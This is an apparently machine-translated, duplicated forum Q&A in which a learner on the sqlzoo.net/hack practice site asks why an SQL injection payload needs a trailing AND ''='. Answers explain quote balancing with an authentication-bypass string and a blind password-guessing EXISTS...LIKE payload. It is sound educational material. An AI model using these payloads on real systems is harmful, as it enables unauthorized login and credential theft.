为什么这个 SQl 注入只能与 AND ''=' 一起使用?
Why does this SQl injection only work together with AND ''='?
我正在 sqlzoo 上测试一些 SQL 东西。net/hack 我不明白为什么
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='
对 SQL 注入和
有效
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%')
不是。为什么要把这个放在最后
AND ''='
?
另外我猜想这些 SQL 注入非常 'old' 并且不会起作用。有更新的方法吗?有没有网站可以学习这个?
提前致谢。
因为你需要关闭'.
检查密码的代码可能是这样的:
"SELECT * FROM usersPassword where password = '" + TEXTINPUT + "';"
如果您想直接进去,' OR ''='
就可以了。
完整的查询将是
"SELECT * FROM usersPassword where password = '' OR ''='';"
这是一个永远正确的条件。
网站上的例子做的更多。它会检查特定用户的密码,如果存在特定字符,您将知道您可以登录。
编辑:
在您的情况下,最终查询将是
"SELECT * FROM usersPassword where password = '' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=''"
如果您不输入 AND
"SELECT * FROM usersPassword where password = '' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%')'"
----> 不关闭!
我认为这是因为它将连接到输入参数,这意味着您的第一个查询将是
OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='' 或''='{somevalue}'
永远正确
我正在 sqlzoo 上测试一些 SQL 东西。net/hack 我不明白为什么
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%') AND ''='
对 SQL 注入和
有效' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '__w%')
不是。为什么要把这个放在最后
AND ''='
?
另外我猜想这些 SQL 注入非常 'old' 并且不会起作用。有更新的方法吗?有没有网站可以学习这个?
提前致谢。
因为你需要关闭'.
检查密码的代码可能是这样的:
"SELECT * FROM usersPassword where password = '" + TEXTINPUT + "';"
如果您想直接进去,' OR ''='
就可以了。
完整的查询将是
"SELECT * FROM usersPassword where password = '' OR ''='';"
这是一个永远正确的条件。
网站上的例子做的更多。它会检查特定用户的密码,如果存在特定字符,您将知道您可以登录。
编辑:
在您的情况下,最终查询将是
"SELECT * FROM usersPassword where password = '' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=''"
如果您不输入 AND
"SELECT * FROM usersPassword where password = '' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%')'"
----> 不关闭!
我认为这是因为它将连接到输入参数,这意味着您的第一个查询将是
OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='' 或''='{somevalue}'
永远正确